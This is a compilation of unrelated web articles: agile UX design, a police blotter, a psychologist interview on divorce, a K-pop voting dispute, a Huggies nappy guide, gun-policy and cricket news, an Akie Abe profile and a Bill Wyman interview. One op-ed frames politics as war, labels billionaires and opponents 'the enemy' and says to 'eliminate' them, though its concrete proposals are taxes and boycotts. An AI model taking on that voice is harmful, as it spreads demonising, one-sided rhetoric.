end and everything had to be done from scratch. Today we want to produce business results quickly. These could only be reached by dividing the project into smaller pieces instead of building one huge project. These pieces should be standalone products, so they have to generate value for the end-users. They should be something you can show to customers or business leaders. New waves, the agile design process In an agile environment the phases run parallel instead of following each other. We design, develop and test at the same time. We divide the product into smaller, independent, viable parts that can be released individually. We can design, develop and test these small parts faster and as a result we can get faster feedback from users and the market. If there’s a mistake it comes to light in no time and we can fix it immediately. Therefore, there’s no waste of money and time. We try to get rid of every unnecessary task. For example, we don’t create infinite documentations, but we prefer personal communications. Here is another post on how we use design as a tool for communication. We just try to avoid designing something that users can’t use. How does UX help to be more agile? With UX design and advanced UX research methods we can build more agile development processes. Here are the 4 most important standpoints: Finding real pain points Problems can be identified in an existing software or in the user’s life as well thanks to the UX research process. So we are going to develop functions that suffice real user demands. Some methods that you can use: interviewing jobs to be done field research experience sampling Building prototypes and iterate fast UX designers have tools for building prototypes from an idea in a short period of time. Prototypes are the best way to try out more ideas simultaneously. And we iterate them. It is easier to make changes on a prototype than a pixel perfect design, or a running code. Quick feedback from the users The prototypes are tested before we create the detailed design and send it to the programming phase. Plans are ready to go to the next stages if they worked well for users. Better communication We involve the whole team in the process. We, designers, are not lonely fighters. We are connectors. Connectors between users, developers and business leaders. We arrange workshops which gives us a great opportunity to gather the whole team together so we can brainstorm or make decisions cooperatively. And last but not at least, the final wireframes are better than any written specification. They show every feature and how they work. We recently wrote an ebook: “Product Managers’ guide to UX design”. Click here to download! Design sprints We organize our tasks in sprints like developers do. A design sprint starts with a design meeting. This meeting have to be attended by the designers and by someone from the business and from the development side as well. It is a good chance to present the final design works and results of the researches. And then the team makes decisions regarding the upcoming questions. At the end of the meetings they clarify the action points, the tasks for the next sprint. And then the next sprint starts. We like to form the design sprint process to be able to run a whole design iteration phase. This means that the designers do the design tasks and researchers do the user testing (or other type of research). So at the next meeting they can present the new design and the feedback from the users as well. We at UX studio like working in week-long design sprints. There are some products where we can do two iteration rounds a week. This means two design and two research rounds per week. But in this case, we need a very close and effective collaboration from the participants. How can we build design in the agile development processes? The first and maybe the most important step is to realize that design is not just a quick project before the development phase. Design is a process, which follows the product for a whole lifetime. As long as you need developers, designers will be needed as well. At a very fresh product, you don’t need developers at the beginning, rather only ux designers. After a while designers and developers work in collaboration. In this case, designers prepare plans for developers, that they will then code. It’s a cliche, but we can “draw” faster than we can code. It means a feature or a function of a product could be designed faster than the developers code it. This is especially true if we consider “bug” fixes and back-end tasks. That is why a design team has less members than a development team. As the design tasks are shorter than the development tasks, design sprints are shorter as well. Having dedign and development sprints with different length can sound a bit weird, but you just have to take care of the coordination between the two departments. And another important takeaway is not to mix design and developing sprints together. You cannot develop that feature which is still in the design phase. Cooperation The design process needs cooperation from other parts of the team, too. The design will only be agile if it can involve everybody. When designers hold workshops or meetings it is necessary for business and development people to attend as well. Of course, it is not expected to invite everybody to these meetings but every party has to be represented. We need developers to tell us if an idea is too difficult to build. And we need business leaders as well to settle clear business goals and to help us focus on them during the design process. We also need them to give us access to existing customers for testing the product. It’s impossible to design a product for people who you haven’t met before. It’s worth inviting sales and support people sometimes for meetings too. Their opinion can be helpful in some situations because they speak to real users every day. Want to learn how to implement agile methodologies in your product team? You’re in luck. Recently, we launched a new service: we facilitate 3-to-5-day UX training sessions for teams aiming to get a new perspective on UX. Read more about the training here. -A MAN REPORTED that a teenager attacked him at about 4 p.m. Wednesday, April 19, on a CTA bus in the 4600 block of Montrose Avenue, according to 17th (Albany Park) District police. The 60-year-old man reported that he asked a group of five or six teenagers on the bus to be quiet and an argument ensued between them one of them hit him in the head with an unknown object and sprayed his face with a chemiccal spray before the teens exited the bus, according to police. The man was transported to Community First Hospital, police said. AN EMPLOYEE of the TCF Bank in the Jewel-Osco store, 3570 N. Elston Ave., reported that the bank was robbed at about 3:25 p.m. Monday, April 24, according to 17th (Albany Park) District police. The bank teller reported that a man approached the counter and displayed a note announcing a robbery and he gave the man $4,017 from the money and the man exited the store, according to police. All videos recorded on the surveillance systems of the bank, store and nearby businesses are being processed by the Federal Bureau of Investigation, police said. The suspect was described by police as a white male between the ages of 30 and 40 with strawberry-blonde hair, a weight between 140 to 180 pounds and a height between 5-foot-7-inches and 5-foot-10-inches, according to police. AN EMPLOYEE of the Admiral Theater, 3936 W. Lawrence Ave., reported that a man threatened him with a box cutter at about 2:10 a.m. Friday, April 21, according to 17th (Albany Park) District police. The man reported that two men attempted to enter the business and that after they were denied entry, the men began throwing items at him and the building, and that one of the men pointed a box cutter at him before they fled in a gray Mercedes C155, according to police. TWO MEN AND a woman reported that they were robbed at gunpoint at about 11:05 p.m. Wednesday, April 19, while they were sitting in separate vehicles in the alley in the 4700 block of North Central Park Avenue, according to 17th (Albany Park) District police. A 22-year-old man reported that while he was sitting in his vehicle, a man wearing a mask approached him, pointed a handgun at him, demanded money and took a set of car keys and his wallet containing identification cards and $224 in cash from him, according to police. The man reported that the man proceeded to rob another vehicle in the alley before he entered a vehicle containing LED lights with another man and they drove away police said. A 37-year-old man and a 50-year-old woman sitting in a separate vehicle in the alley reported that a man wearing a mask approached them, pointed a handgun at them, demanded their possessions and took the woman’s vehicle keys and cell phone and the man’s cell phone from them, according to police. The man and woman reported that they observed the man was with another man and that both men entered a vehicle containing LED lights and drove away, police said. A MAN REPORTED that he was robbed at about 5:20 p.m. Sunday, April 23, in the 4700 block of North Spaulding Avenue, according to 17th (Albany Park) District police. The 23-year-old man reported that he had made arrangements online through Facebook to purchase a cell phone from a woman and that when he arrived to meet her at the intersection of Leland and Spaulding avenues, two men approached him and one of the men pointed a semi-automatic handgun at him and took $450 in cash, police said. A MAN AND a woman reported that they were robbed at about 12:40 a.m. Monday, April 24, in the 4300 block of West Irving Park Road, according to 17th (Albany Park) District police. The 40-year-old man and 61-year-old woman reported that while they were walking home, two men approached them and one of the men pointed a handgun at the woman’s back while the other man pointed a handgun in the woman’s face and said, "Stick ’em up, hand over your wallets," according to police. The man and woman reported that the men took the man’s cell phone valued at $30 and the woman’s cell phone valued at $60, police said. A MAN REPORTED that his residence in the 6000 block of North Jersey Avenue was burglarized between 4:50 p.m. and 10:40 p.m. Friday, April 21, according to 17th (Albany Park) District police. The man reported that when he returned home, he observed the kitchen door had been opened and various items were thrown around the residence, and discovered that his iPad valued at $300 was missing, according to police. LINCOLNWOOD A WOMAN reported that her vehicle was burglarized between 7:45 p.m. Wednesday, April 19, and 7:45 a.m. the following day, while it was parked in the 3800 block of West Wallen Avenue, according to Lincolnwood police. The woman reported that when she returned to her vehicle, she discovered that the front door had been opened and items from the glove compartment and center arm rest console were scattered inside the vehicle, and a pair of Coach sandals valued at $150 and about $20 in change were missing, according to police. -shadow person Many of us might be inclined to describe our exes as "crazy." After all, divorce doesn't normally bring out the best in folks. But according to Dr. George Simon, some divorces may be exceptionally toxic because one party suffers from what he terms a "character disorder" (CD). Divorcing a disordered person is its own particular kind of hell, distinct from the usual miseries of divorce. Simon is a psychologist who has spent over 25 years researching character disturbance and has written two acclaimed books on difficult personalities -- "In Sheep's Clothing: Understanding and Dealing with Manipulative People" and "Character Disturbance: The Phenomenon Of Our Age." I interviewed Simon about his views on divorcing someone with a character disorder. How do you know if you're dealing with someone who is truly disordered, or someone who is just being a difficult jerk? I wonder if the distinction matters? Dr. George Simon: CDs really can't help themselves when it comes to being who they are. Yes, some are very adept at positive impression management and manipulation, but if you know what to look for, you can tell. But first you must divest yourself of many popularly held but erroneous beliefs about human nature: Not everyone is struggling with fears and insecurities... and not everyone who puts on an air of confidence or superiority is compensating for low self-esteem. There really are people who sincerely think they're all that and are therefore entitled to do as they please regardless of the consequences! People reveal their true character mainly in their core beliefs -- which are reflected not in what they say, but in their actions. Top CD attitude red flags: Entitlement, possessiveness, indifference to others, arrogance, disdain for obligation. The more of these attitudes they possess and the more intense these attributes are, the more character impaired the person is. How does someone who is character disturbed behave differently in a divorce? Is it more contentious? GS: There are hundreds of examples. But here are a few: For the CD, it's not about acknowledging failure in the marital relationship, separating, and moving on. Rather, it's about punishing, destroying, or making someone else's life miserable for daring to say "no" or declare an end to an abusive situation. Character assassination becomes the norm. The CD will arm their attorneys with examples of their ex's "questionable behavior," which are amplified to such an extent to paint the worst possible picture of the person. Perhaps even more important is the ordeal the CD wants to be sure the ex-partner goes through. They'll bring out such big cannons with their lawyer, that the other party has to spend much time, energy, and money either defending themselves or just trying to survive the ordeal that they have no time, energy, or money left to advocate for a stronger position. Are CDs financially abusive? GS: Money matters always tell the story the best. The CD will clean out bank accounts. Or they play financial games. The reckless gambling and spending will all get discovered right around the time the aggrieved party has begun seriously contemplating the divorce. This makes it even harder to think about throwing in the towel because of how disadvantaged the victim will be walking out. The CD will also try to penny-pinch or in other ways attempt to ensure that their former partner can't simply walk away in a financially tenable position. The worst CDs will want to see their former partners financially broken and destitute. The last thing they want is simply to separate and allow the other person to be on their feet and move on to a different (better) life. Rather, they want them -- at least from a financial standpoint -- to rue the day they decided to call it quits. How are children affected? GS: CDs triangulate the kids and use them as pawns and weapons of war in divorce. As pathetic as it already is for CDs to treat the person they supposedly once worshiped so horrendously, their willingness to use their children to emotionally wound their partner is even more reprehensible. But the greater the character disturbance, the less compunction the CD has to use the kids in this way. Alienating kids from the other parent. Trying to sabotage whatever positive relationship there is. Bribing and trying to buy affection and allegiance, not just with money but with superficial attentiveness, attention, seduction, and placating. What motivates someone who is CD? GS: It depends. There are two major CD types, the narcissistic and the "aggressive" personalities. For the narcissist, no one else really matters. The cardinal feature will be a complete indifference and insensitivity to everyone else's welfare and a pathological determination to save face. For the aggressive characters, it's all about "winning." And while this always includes ensuring the defeat of the opponent, in some cases (as in the case with the sadistic aggressive) it's also about humiliating the other person and relishing in the pain they might be able to cause them. So how do we deal with them, aside from divorcing them? Should we try to achieve some kind of consensus around co-parenting, for example? GS: You have to understand that CDs don't play by the regular rules, so trying to reach consensus with them and exhausting yourself trying to get them to "see" the unhealthiness of their ways is pointless. I have a rhyme I like to use: "It's not that they don't see, it's that they disagree." Character disordered people are not stupid people. They're contrary people. They know what the generally accepted rules are, they know what most people's expectations are. But they haven't made the decision in their heart to play by the rules most of us want them to play by. That's a matter of the heart. Trying to reason with them to examine their behavior assumes something that is patently untrue. It assumes that what they need is insight. I make that point in my book. We live under this delusion. Therapists do this all the time! They think they are going to be the person who says just the right thing in just the right way, so that this time a light bulb is going to go off in this person's mind and all of a sudden they will understand and "see" the error of their ways! The problem is, they already understand! It's not that the disturbed character doesn't know what they're doing and what damage comes from it. If the wounded party is crying their heart out and is miserable, it's not like you don't know what you've done and what an effect it has had -- it's right there. They already see this but disagree with the notion that they should conform their conduct and work to make amends. They'll change only when the cost of their behavior rises too high and the benefits of doing something different becomes more clear. It's not that people can't or won't change. It's under what circumstances they'll be motivated to change. What you need to do if you're in a relationship with someone like this is set those limits and enforce those boundaries. You must set the terms of engagement. You can't trust the character-impaired person to do it. When there is a clear cost to continuing their crazy behavior, there will perhaps be some incentive to change. Dr. George Simon blogs about manipulative people at www.manipulative-people.com -Following the controversy regarding miscalculation of points on last week’s “Music Bank,” fans of SEVENTEEN have expressed concern over the voting results of last week’s “The Show.” On the May 24 episode of SBS MTV’s “The Show,” AOA was announced as the week’s winner with 8,192 points, while SEVENTEEN came in second with 8,076 points, making the difference only 116 points. In case of a miscalculation, SEVENTEEN could potentially be the actual winner for that week. What sets “The Show” apart from other music shows is its partnership with leading Chinese streaming site Tudou. The show is broadcast live via Tudou each week, and half of the votes for the winner come from Chinese viewers. The winner for “The Show” is calculated based on pre-broadcast fan votes (70 percent; Korea 35 percent + China 35 percent), real-time domestic votes (15 percent), and real-time Chinese votes (15 percent). Now, fans of SEVENTEEN have demanded an explanation from “The Show” over an error that made it allegedly impossible to vote for SEVENTEEN through the Chinese site. Posts on online discussions boards claim that SEVENTEEN’s pre-broadcast points were inaccurate as the numbers didn’t increase after fans paid and cast their votes, while AOA maintained first place with a maximum score of 99.99 for four consecutive days. It can also be seen that SEVENTEEN’s points fluctuated over the same time period, raising speculation about a possible error in the voting procedure. Addressing these claims, “The Show” has admitted that there are occasional errors in the Chinese pre-broadcasting voting process. “As the errors occur on the Chinese side, it’s difficult to immediately fix them from Korea. It’s true that temporary errors affected SEVENTEEN’s votes.” But the show’s representative says they sorted out the situation and the final results are accurate. “For the results announced during the live broadcast, however, we restored the points that were omitted due to errors. Thus, the ranking is correct, and AOA takes No.1 while SEVENTEEN comes in second.” Source (1) -Your Newborn Changing your baby’s nappy is easy – you just need to stick to a routine. Here’s a guide for how to do it: Have everything you need to hand – changing mat, cloth, wipes or cooled, boiled water, cotton wool, nappy disposal bags, and a couple of fresh nappies. Choose a suitable nappy change spot: somewhere that he can’t roll off, and where you don’t have to strain to reach him, as your back muscles are still vulnerable. Lie your baby on his back and undo the nappy. Lift your baby gently by holding both his feet and remove the used nappy, using it to wipe away as much solid waste as possible. Carefully and gently wipe over your baby’s nappy area, paying special attention to skin folds. You can use a wipe, or warm water and a cloth or cotton wool. For girls, wipe from front to back, to keep germs away from the vagina. For boys, clean around the penis and testicles, but don’t pull back the foreskin. Check for nappy rash. If necessary, dry your baby carefully with cotton wool or a dry cloth. Letting him kick his legs in the warm, dry air is a good way of reducing nappy rash. Open out the nappy and slide your fingers down the side of the nappy to lift up the leak guards. Lift your baby’s legs up and place the clean nappy underneath (with the grip tabs at the back), so he’s lying on it. The absorbent, soft side of the nappy should go against his skin, and the top edge of the nappy should be about level with the middle of his back. Bring the front part of the nappy up between his legs and spread firmly around the tummy. If you have a boy, point his penis down in the nappy. With one hand holding the nappy gently on baby, open up one Grip Tab and attach it to the front of the nappy. Huggies Nappies and Huggies Newborn Nappies for your new baby both feature tabs that can be fastened anywhere on the front of the nappy. Repeat for the other side. Reposition the Grip Tabs to adjust the fit of your baby’s nappy so they are comfortable. Double-check that the nappy is not too loose or too tight. Put your baby somewhere safe while you wash your hands and tidy up. If your baby’s cord stump is still attached, fold the front of the nappy down to avoid this area. HUGGIES® Newborn Nappies are Australia’s No. 1 newborn nappy, and have been awarded Gold in the 2015 Mother & Baby Awards for ‘Most Popular Disposable Nappy (0-3years)’! Disposal Remember if there are any solids in the nappy, dispose of these in the toilet. The used nappy can be rolled into a tight ball using the Grip Tabs to seal it. DO NOT flush the nappy down the toilet. The general rule for newborns is to change your baby about as often as you feed him. A lot of mums will change their baby in the middle of each feed. However you usually don’t have to do it at every night feed. Right from the start, your baby’s nappy-changing time is a good time to have a ‘conversation’, as well as being a necessary part of the care you give. You’re face to face with each other – so sing, tickle, talk and have fun! Here’s where you can find more information about the entire Huggies Product Range to help make nappy change time easier. Changing your newborn's nappies View all videos You will need to have Adobe Flash Player installed to view the Huggies Website Video. -The push for expanding background checks received a minimal albeit unexpected boost this afternoon from former Arkansas congressman (and current Arkansas gubernatorial candidate) Asa Hutchinson, who was recently appointed by the NRA to lead its task force on putting armed guards into schools. “Absolutely, I’m open to expanding background checks,” Hutchison told Wolf Blitzer’s beard today. “You can do it in a way that does not infringe upon an individual and make it hard for an individual to transfer to a friend or a neighbor.” It’s not exactly clear what Hutchsinson thinks “making it hard” would entail; background checks on private sales would make it hard if the gun’s would-be recipient is not legally allowed to own a gun. That’s the whole point. Still, Hutchinson’s qualified support for expanding background checks was enough to elicit a quick response from the NRA, which said that Hutchsinson was “not speaking” on its behalf. -- Advertisement - The right is at war with the left. We need to identify who our enemy is, determine their goals and targets, then begin long term planning for war against them-- target them, target their resources and set goals for conquest, what success looks like and what strategies to get there. They must be big, resolute, bold and courageous. The war against the left, against Democrats, against Unions, against minorities has been a long time in the planning and it is reaching a crescendo. We see it in the union busting in Wisconsin, Ohio and New York ( by dems in M A) and the passage of onerous laws making it harder for minorities and the poor to vote. We see it in the Supreme Court's Citizen's United unleashing of hundreds of millions, soon to be billions in money used to buy compliant candidates. - Advertisement - With the passage of anti-union legislation in MA, it's clear that this is not a war of the Republicans against the Democrats. - Advertisement - It's an ugly, bloody war. People are dying every day-- from lack of health care, because they're in wars we should not be in, wars that profit the military-intelligence/medical industrial complex. Rights are being taken, the constitution is being violated and trashed. It's just about a given now that the people in congress, combined, will not help the middle class. They may put on a show to slow the slide into third world status, but let's face it, even when the Democrats had the house, the senate and the Whitehouse, they did very little to grab the opportunity and pass dozens or more of solid bills and changes. We see, with the Republicans holding control in Wisconsin and Ohio, the way solid majorities can be wielded by determined leaders with a mission and a plan. - Advertisement - That's the problem. We on the left don't have a mission and a plan. The Democrats and most of the progressive organizations put most of their energy into reacting, not into planning and setting long term goals. As I said at the beginning, we need to identify who our enemy is, determine their goals and targets, then begin long term planning for war against them-- target them, target their resources and set goals for conquest, what success looks like and what strategies to get there. Who is the Enemy? Start with big greedy money-- the Koch brothers, multi-national corporations with no interest in the needs of America or the middle class, billionaires, millionaires. Sure, there are millionaires and billionaires who are on the left-- but, apparently, not many. We need to find the allies and declare the rest enemies. Not sad, unaware folks waiting to be awakened. These are people who are funding the attack ads, maxing out on campaign donations to haters and bigots and people who are comfortable allowing tens of thousands, even millions die for lack of health care, war, etc. What are our enemy's strategies? We can know our enemies by their actions and strategies. They want to weaken the left -- take away the strength and power and marginalize unions. -- reduce the numbers of voters on the left-- discouraging people from registering, making it harder for volunteers to register people, discouraging people from showing up at the polls by requiring voter IDs --Make the election system less trustworthy. Computerize the vote and make recounting a joke, make sure voting is not verifiable. --give corporations more and more power-- corporate personhood, the right to insert huge amounts of money, anonymously, in elections. Support lobbying efforts, making lobbyists more effective, giving them more access, making them more powerful. Who and what are the targets of the Enemy Wars begin by attacking command, control and communications. Leaders? Not surprisingly, we on the left do not have clear leaders. Big problem. The potential leaders are often mocked and marginalized by the mainstream media. They've done it with Dennis Kucinich, Bernie Sanders, Mike Gravel. Then, there is the circular shooting squad propensity of the left to shoot at each other. We should also consider that there are moles who foment discontent and criticism of potential leaders. The Koch brothers targeted Russ Feingold, outspending him with millions. Next, it looks like Dennis Kucinich's district will be gerrymandered out of existence. We can expect more of the same. When money is no object, for multi-bilionaires, even safe politicians are at risk. Command-- Operations, organizations The right has literally scores of "think tanks" with ten, twenty, fifty million in funding annually that are not really think tanks. They're really policy promotion and war-on-the-left planning and enabling operations. The left has a lot of real think tanks that issue papers and op-eds on policy and analysis, but not much more. There are a handful of purportedly progressive operations that are supposed to operate like the policy promotion operations on the right. The great white hope was supposed to be Center for American Progress. Yes. They have an excellent newsletter, but when Tony Podesta was identified as its head, the DLC guy who was Bill Clinton's chief of staff, I knew it would be a neutered operation. When he became Obama's transition director, herding in bluedog after bankster after DLC sellout into the White House, it was further proof. We still need a kick-ass tough organization that is created to fight the right, the corporations, not document the death throes of the left. Communications The right has invested hundreds of millions in their echo chamber. The Rush Limbaugh show lost money for years before it became popular. Congress has passed legislation that has made it easier to decrease media diversity, easier for media conglomerates to form-- and only the right has taken advantage of these opportunities. In fact, the legislation was probably written by lobbyists for operations like Fox and Clear Channel. Let's look at how the right has been attacking our communications resources. They've infiltrated PBS with a right wing director. The right controls, through Clear Channel's 1000 plus stations, for starters, the radio-sphere. The major networks are controlled by giant corporations. Print newspapers are on a fast track to extinction. As they die, they are being consolidated, held by big corporations that are rightwing or right leaning. The biggest newspapers, which the right pretends to villify, Washington Post and NY Times, have longed served the status quo, occasionally throwing in, usually far later than they should have, exposes. Net Neutrality is under a full frontal attack, particularly supported by ATT and Comcast, to do away with NET Neutrality. End Net Neutrality and it will be even harder to access the last vestiges of an American free press. Expect the war on the media to involve further deregulation of laws preventing big corporations from owning monopolistic media positions in locales. It's already a fait accomplis in some places. This is a long-term war strategy that has already paid off in spades. The People and Organizations the Right Targets Minorities, the poor, unions, Latinos, the weak and vulnerable-- those are who the right is at war against. Fusion centers where police, FBI and other spy operations can, with zero accountability, track innocent American activists. Animal rights and green activists are being treated as terrorists and jailed in the highest security prisons. Special laws and punishments have already been legislated to deal with animal rights and environmental activists, so some have been arrested for planning protests and put in the highest security prisons. Will Potter, author of Activists, protesters, organizers, people who do voter registration, anti-war activists, environmental and animal rights advocates. The right wing's war on these people and groups has been so effective that there are now localwhere police, FBI and other spy operations can, with zero accountability, track innocent American activists. Animal rights and green activists are being treated as terrorists and jailed in the highest security prisons. Special laws and punishments have already been legislated to deal with animal rights and environmental activists, so some have been arrested for planning protests and put in the highest security prisons. Will Potter, author of Green Is The New Red has been chronicling this travesty of justice in service to corporations. How to fight Back The first step is to recognize that we have been under attack, been in a war. Most Democrats don't see it that way. They see it as simple politics. It's not. The next step is to decide to fight back. The next step is to cross the threshold and become a warrior-- even retired housewives can do that and get involved. The next step is to find allies, build a team and develop resources. Then, we need a big picture-- who are the enemies, what are our targets to attack? Here's a small starter list: The greedy wealthy people, organizations and corporations-- how to attack them: Get legislation passed that regulates industries-- regulations that protect people and the environment, not business. Fund research on developing new business models that reward small and punish big, that find ways to take advantage of economies of scale without shrinking industries' diversity. Make it a law for a company to have more than 20% of an industries business. Develop tools and systems (smart phone apps) to help millions on the left to boycott companies like the Koch brothers industries and companies that support Fox news, that lobby for bad, anti-human laws, that are members of the US Chamber of Commerce. We desperately need solidly funded progressive policy promotion organizations that are actually progressive. We do have some solid progressive leaders. We need to empower them. We need to fund thousands of investigative journalists to expose the corruption on the right-- among Republicans and blue-dog sellout Democrats. There are over 1000 billionaires-- most are the enemy. We must eliminate the billionaires, literally take away their money and the power it gives them. They are a danger to democracy. There are millions of millionaires. Most are the enemy of the middle class and of democracy as America has known it for the past 200 plus years. We must shrink the size of these millionaires. Tax them. Tax 95% of any money individuals HAVE over $20 million, 100% of money over $25 million. Nobody needs more than than. Feel no pity for the gold faucet and yacht manufacturers who will lose their business. Tax 95% of all inheritances over $10 million and 100% over $25 million. People don't need more than that. Descendants don't deserve any more than that. WAR WAR f*cking WAR War is not pretty. It is not nice. Political correctness doesn't cut it. Putting up with right wing bullshit doesn't cut it. Putting up with undercutting, weak liberal calls for tolerance and patience doesn't cut it. Think Neville Chamberlain. We are in a war. We may not have chosen to be in one, but we are. The sides have already been chosen. There are many useful idiot fools being used by the right. Are you one of them? Keep on telling us to be patient. -Play 01:20 Play 01:20 Another injury blow for Pakistan Pakistan allrounder Mohammad Hafeez has been ruled out of the World Cup with a calf injury. Opener Nasir Jamshed is set to replace him in the squad, after he was approved by the ICC's Event Technical Committee. Pakistan also have lead spinner Saeed Ajmal available for the World Cup, after his reworked action was cleared by the ICC, but the PCB named Jamshed as a replacement. Hafeez is the second Pakistani player to miss the tournament with an injury, after Junaid Khan. "It's confirmed that Hafeez is unfortunately out due to an injury. Captain Misbah-ul-Haq, coach Waqar Younis and chief selector Moin Khan decided the replacement as they wanted an opening batsman in place of an opening batsman," PCB chairman Shaharyar Khan said. The board chief also said Jamshed already has an Australia visa and is expected to join the squad in five days to be available for their opening match against India on February 15 in Adelaide. Hafeez picked up the injury while batting in the second ODI against New Zealand in Napier on February 3. He was ruled out of the World Cup after undergoing MRI scans on Friday in Sydney, following which he was advised a month-long rest. The allrounder was available only as a batsman in the tournament after he had been suspended by the ICC in December. He was scheduled to undergo an official test with a reworked action in Brisbane on February 6, which the PCB wanted pushed back to February 10 because Hafeez was not fit. © ESPN Sports Media Ltd. -With high approval ratings stoking speculation that Shinzo Abe could become Japan’s longest-serving prime minister in recent history, he faces the risk of becoming complacent. Enter Akie Abe, his wife of 29 years. The 54-year-old daughter of a confectionery magnate is known as “the household opposition” for speaking out against key Abe policies such as backing the Trans-Pacific Partnership trade pact, exporting nuclear technology and expanding a U.S. military base on Okinawa. “I want to pick up and pass on the views that don’t get through to my husband or his circle,” Akie said in an interview last week at a restaurant she opened in central Tokyo four years ago. “That is a bit like an opposition party, I suppose.” Akie eschews the image of a traditional Japanese prime minister’s wife who defers to her husband and provides support from behind the scenes. Perhaps more surprising: Her open criticism of Abe’s policies only seems to add to the appeal of the conservative 62-year-old leader. “She’s very, very unusual — I can’t think of anybody in Japan, or for that matter any first lady in the U.S., who did that,” said Jun Okumura, a former trade ministry official and now a visiting scholar at Meiji Institute of Global Affairs. “What’s interesting is that has not hurt Abe in any way whatsoever. In fact, it has sort of softened his image. He can tolerate very different points of view, very different perspectives.” In the interview at her tiny organic restaurant called Uzu, Akie said she tries to choose the right moment to convey the critical opinions she hears from members of the public. “When he is being criticized by the opposition parties every day, if I go home and start nagging him again, he might ask me to stop it,” she said. “As his wife, there are times when I don’t want to attack him too much. Other times, I really feel I have to tell him something.” As the first Japanese prime minister’s spouse to make extensive use of social media, she has attracted both praise and scorn over her views on her Facebook page, where she has over 100,000 followers. She never blocks other users, however abusive they are. “Before talking about world peace, I’d like to achieve peace in my own timeline,” she wrote on Facebook in November. “Some people who have great expectations of me and who have opposite opinions to my husband attack me for not telling him things more forcefully. They ask me how I can stay with him when our opinions are different, and even tell me to get divorced,” she said with a laugh during the interview. “They should mind their own business.” Akie attended exclusive Catholic schools in Tokyo from kindergarten through high school, and went on to a women’s training college. She then took a job at Dentsu Inc., Japan’s biggest advertising company, where her boss arranged an introduction to Abe. In a magazine interview earlier this year, she spoke of the criticism she faced for being unable to bear children. Akie’s actions often speak louder than her words. In August, she took an unannounced trip to Okinawa, without a police escort or secretaries, to visit protesters who oppose the construction of helipads for the U.S. military in the north of the island. She said she didn’t consult her husband about the trip for fear he might oppose it. Another media storm followed after Akie was seen later that month offering prayers at Pearl Harbor in Hawaii, the site of the devastating Japanese attack that drew the U.S. into World War II. This prompted speculation that her husband would become the first Japanese prime minister to do likewise, but no such visit materialized. While the couple seems oddly matched, they appear to share an admiration for aspects of Japan prior to the 1945-1952 U.S. occupation. Abe has frequently criticized Japan’s “postwar regime” and is known for his eagerness to rewrite the U.S.-drafted Constitution to expand the role of the military. Akie’s interest in her cultural roots is more focused on language and nature. She produces her own organic rice, which is served in her restaurant that only uses ingredients sourced in Japan. She also insists on keeping native Japanese bees in hives she put in at the prime minister’s official residence, even though their European cousins produce more honey. “In bringing in European and American culture after the war, I think Japan spoiled some of what it originally had,” Akie said. She equates efforts to control nature with the West, citing the massive sea walls being built in northeastern Japan to protect local communities from any future tsunami on the scale of the 2011 disaster. She also regrets the loss of Japan’s hemp industry, which flourished before the U.S. occupation. Japan now has 33 licensed farmers, compared with more than 37,000 in 1954, and Akie said that even the hemp fibers long used in the rituals of Japan’s native religion of Shinto now mostly come from China. Akie had championed the cultivation of nonpsychoactive hemp as well as the use of marijuana for medical purposes. The past few months have seen a series of blows against a nascent campaign to legalize medical marijuana, after a lawmaker who spoke in favor of it lost his seat in the Upper House. “I’ve never smoked it and I don’t approve of that,” she said, adding that she nevertheless didn’t believe it was right to ban all industrial and medical uses of the plant. Since Abe’s first 12-month stint as prime minister in 2006, Akie has gotten used to life in the spotlight. She is now more comfortable with her husband staying on for a third straight term as party leader and prime minister, particularly to give the world a strong leader at a time when U.S. policy is uncertain after Donald Trump’s election win. “The fact that my husband became prime minister again was not due to his efforts, but it was fate,” Akie said. “Japan has a big role to play now.” -Bill Wyman Interview You know those super fun ranking stories that New York Magazine’s Vulture does? I interviewed Bill Wyman, who has penned of those bunch of music stories. In these epic pieces, which list every track from worst to best of some of the most important rock acts—the Beatles, Pink Floyd, the Clash and Led Zeppelin—Wyman justifies his rankings, while telling the band’s story. His most recent article of this kind, ranking the Rock and Roll Hall of Fame inductees, is more ambitious still, and becomes almost a history of the rock genre itself, and an argument for its cultural value. Theses stories are a mix of the high-minded, the fantastic, and the silly—in other words, smart and entertaining. Here is an excerpt from the Q&A: Chris Buck: One of the big things that crossed my mind in reading your Beatles rankings is that there’s almost a religious sanctity around certain songs that you kind of pull apart and criticize. I know you’re not necessarily doing that on purpose but at one point you said something about challenging the orthodoxy of rock criticism. The Beatles are so sanctified yet the first half of the ranking basically talks about why those songs failed. That’s huge. You take songs that are on some of their most important albums and giving them low ratings. Did it take a certain mental leap for you to do that? Bill Wyman: It’s kind of funny because that’s the trouble with these lists, if you start with the best you get all the fun stuff and then you’ve got the end of it slogging through the bad stuff, so I like to do it from worst to best because you try to dismiss the worst stuff and then start telling the story of the band. Of course, with The Beatles, The Clash, or Led Zeppelin you have these amazing, crazy stories. One of the reasons people get so mad at these articles is that they start reading and it’s, “This song is bad, this song is bad.” The Clash did maybe 50 great songs and Pink Floyd did like 17. So it’s very difficult. One of the things I find disappointing in some of the pop criticism is there’s a thing called rhetoric. It’s the art of persuasion when you’re writing. That doesn’t mean debating, it just means all the tricks that you use to get people to read what you’re writing and, in theory, come around to your way of thinking. You can be very mundane, dry, and legal, or you can debate and have fun. What I try to do is I try to alternate between outrageousness and charming, and self-deprecation and pompousness… not pompousness but just saying things from on high but then a couple lines later being kind of humble, or saying, “I used to think this but I was wrong.” I mean, I’d almost like to do another Beatles list the next day and have it be a different order just to make the point that this is ridiculous. The point of it isn’t the ordering. Sometimes when people criticize me I say, “The numbers don’t lie,” and that gets people even madder, but I’m just trying to make it clear that this is completely preposterous. It’s an exercise in writing, and hopefully interesting writing. It’s just to say interesting things to think about it. I don’t care if someone thinks that “Strawberry Fields” isn’t a good song. I would like to read a list of songs where “Strawberry Fields” is the second worst Beatles song. I’d like to hear a spirited defense. That’s the one thing that I wish people would think about criticism and I think would make the world a better place when it comes to journalism too. We hopefully want smart, quality writers who don’t have hidden agendas. I don’t like trolling. I believe in clear expository writing. I believe in the intelligent and curious but disinterested reader. That means someone who’s smart and someone who’s open minded but also disinterested, meaning if I’m not interesting enough he or she will just move on. If you think that people are smart and they’re open minded and they want to read something interesting then that’s what I try to do. That’s the mixture that motivates those. Back to your question—we’re all smart, we understand The Beatles aren’t perfect, and they did some bad songs. Let’s move on. Let’s go through them. You can disagree. You can think that “Get Back” is a better song than I do. That’s great, so let’s hear your argument. Again, I would love to read the next person’s ranking of them. Picture courtesy Bill Wyman (rockin’ the bedroom in the seventies) -Orange County health experts are investigating 12 cases of Legionnaires’ disease among people who live in 